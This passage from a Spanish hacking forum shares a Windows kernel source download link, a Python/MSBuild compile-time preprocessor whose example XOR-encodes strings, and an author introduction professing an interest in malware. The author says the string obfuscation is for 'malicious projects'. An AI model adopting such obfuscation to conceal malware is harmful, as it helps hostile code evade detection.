Windows Driver Development Kit (DDK).

WRK v1.2 includes most of the NTOS kernel sources from the latest released
version of Windows, which supports the AMD64 architecture on the Desktop.
The kernel sources excluded from the kit are primarily in the areas of
plug-and-play, power management, the device verifier, kernel debugger
interface, and virtual dos machine.  The primary modifications to WRK
from the released kernel are related to cleanup and removal of server
support, such as code related to the Intel IA64.
Código: php
https://mega.co.nz/#!g00zgRhB!LBFwwCy8VRUv1VmNUWgUEVfuA886wr7cbw0T5gtIQhY
#24
Se trata de una capa extra de preprocesado que se ejecuta antes que la propia del lenguaje. La utilidad principal es generar constantes complejas en tiempo de compilación. Yo lo uso, entre otras cosas, para el cifrado de cadenas en mis proyectos malignos 8) Es mucho más flexible que los templates de C++



Necesitarás Python.

Para instalarla en tu proyecto debes de editar el fichero de proyecto (.vcxproj en el caso de VC) añadiendo este código XML:
Código: xml
  <Import Project="C:\Users\Karcrack\Desktop\kPreprocessor\kPreprocessor.targets" />

Obviamente la ruta hay que cambiarla para que apunte al fichero .targets que aquí adjunto:
Código: xml
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" TreatAsLocalProperty="OutDir">
    <Target Name="kPreprocessor" BeforeTargets="CLCompile">
        <Exec Command='python "C:\Users\Karcrack\Desktop\kPreprocessor\kPreprocessor.py" %(CLInclude.FullPath) %(CLCompile.FullPath)' />
    </Target>
    <Target Name="kCleanPreProc" AfterTargets="Link">
        <Exec Command='python "C:\Users\Karcrack\Desktop\kPreprocessor\kPreprocessor.py" -clean' />
    </Target>
</Project>

En este fichero hay que cambiar las rutas para que apunten a este fichero .py:
Código: python
# -*- coding: utf8 -*-
from sys import argv
from shutil import copyfile
import os, re

def save2dump(s):
    f = open("./dump","a")
    f.write(s)
    f.close()

if __name__ == "__main__":
    if argv[1] == "-clean":
        print "[kP] Limpiando y restaurando ficheros."

        for file_name in os.listdir("./"):
            root, ext = os.path.splitext(file_name)
            if ext == ".kbak":
                os.remove(os.path.join("./", root))
                os.rename(os.path.join("./", file_name), os.path.join("./", root))

        os.remove("./dump")
    else:
        file_path = argv[1]
        print "[kP] Trabajando sobre el fichero '%s'" % (file_path)
        #Backup
        copyfile(file_path, file_path+".kbak")
        #Read SRC
        with open(file_path, "r") as r:
            raw = r.read()
        #INCLUDE_PYSRC()
        for i in re.findall("(?<=INCLUDE_PYSRC\()(.*?)(?=\)\n)", raw, re.DOTALL):
            with open(os.path.abspath(i), 'r') as fi:
                save2dump(fi.read()+"\n")
        #DEFINE_PYSRC()
        r = re.findall("(?<=DEFINE_PYSRC\(\n)(.*?)(?=\)DEFINE_END\(\))", raw, re.DOTALL)
        if len(r)>0:
            save2dump(''.join(r) + "\n")
        #Load src
        try:
            exec open("./dump", "r")
        except IOError as e:
            pass
        #Resolve macros
        for fu in re.findall("(?<=#define)(.*?)(?=\(\.\.\.\) *PYTHON_FUNCTION\(\))", raw, re.DOTALL):
            raw = re.sub("("+fu+"\([^\.?].*?\)(?=[^\:]))", lambda m:str(eval(m.group(1))), raw)
        #Save file
        with open(file_path, "w+") as f:
            f.write(raw)






Después de la instalación podéis hacer cosas como ésta:
Header.h:
Código: cpp
#ifndef PRETEST
#define PRETEST
#include <Windows.h>
#include "../../kPreprocessor/kPreprocessor.h"

INCLUDE_PYSRC(.\test.py)
DEFINE_PYSRC(

def TEST():
    return 12

)DEFINE_END()
#endif

Main.cpp:
Código: cpp
#pragma comment(linker, "/ENTRY:main")
#include "Header.h"

#define XOR_STR(...) PYTHON_FUNCTION()
#define MD5(...) PYTHON_FUNCTION()
#define TEST(...) PYTHON_FUNCTION()

void main(){
    MessageBoxA(0, XOR_STR("karcrack", 0xFF), MD5("karcrack"), TEST( ));
}

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:
Código: php
#Glenn Maynard
def string_to_c(s, max_length = 140, unicode=False):
    ret = []

    # Try to split on whitespace, not in the middle of a word.
    split_at_space_pos = max_length - 10
    if split_at_space_pos < 10:
        split_at_space_pos = None

    position = 0
    if unicode:
        position += 1
        ret.append('L')

    ret.append('"')
    position += 1
    for c in s:
        newline = False
        if c == "\n":
            to_add = "\\\n"
            newline = True
        elif ord(c) < 32 or 0x80 <= ord(c) <= 0xff:
            to_add = "\\x%02x" % ord(c)
        elif ord(c) > 0xff:
            if not unicode:
                raise ValueError, "string contains unicode character but unicode=False"
            to_add = "\\u%04x" % ord(c)
        elif "\\\"".find(c) != -1:
            to_add = "\\%c" % c
        else:
            to_add = c

        ret.append(to_add)
        position += len(to_add)
        if newline:
            position = 0

        if split_at_space_pos is not None and position >= split_at_space_pos and " \t".find(c) != -1:
            ret.append("\\\n")
            position = 0
        elif position >= max_length:
            ret.append("\\\n")
            position = 0

    ret.append('"')

    return "".join(ret)

def XOR_STR(str, c):
    s = ""
    for x in str:
        s+= chr(ord(x)^c)

    return string_to_c(s)

def MD5(s):
    import md5
    return string_to_c(md5.new(s).hexdigest())


;D ;D ;D ;D ;D

Hay errores en la detección de tokens ya que se hace con expresiones regulares algo chapuzas :-X

Todavía sigo trabajando en esto, así que seguid atentos para mejoras y arreglo de errores... y una explicación más elaborada en cuanto tenga tiempo xD

Nota: No se expandirán macros originales (C/C++ es en ejemplo) en la llamada a funciones. [Debido al diseño, no será reparado]

Saludos
#25
Presentaciones y cumpleaños / This is Karcrack
Mayo 08, 2013, 04:15:46 PM
Imagino que algunos ya me conoceréis pero para aquellos que no me conozcáis: Soy un estudiante de ingeniería informática de Valencia (España) con 20 años.

Me apasiona el estudio y desarrollo de malware. Programo con soltura en ASM, C[++], VB6 y Python. También lenguajes web, pero no practico en exceso. Aunque básicamente he programado en todos los lenguajes que he ido conociendo, al menos para probarlos :P

Vine invitado por Antrax, llevo un rato leyendo temas y creo que puede resultar una buena experiencia formar parte de la comunidad ;D

Saludos :)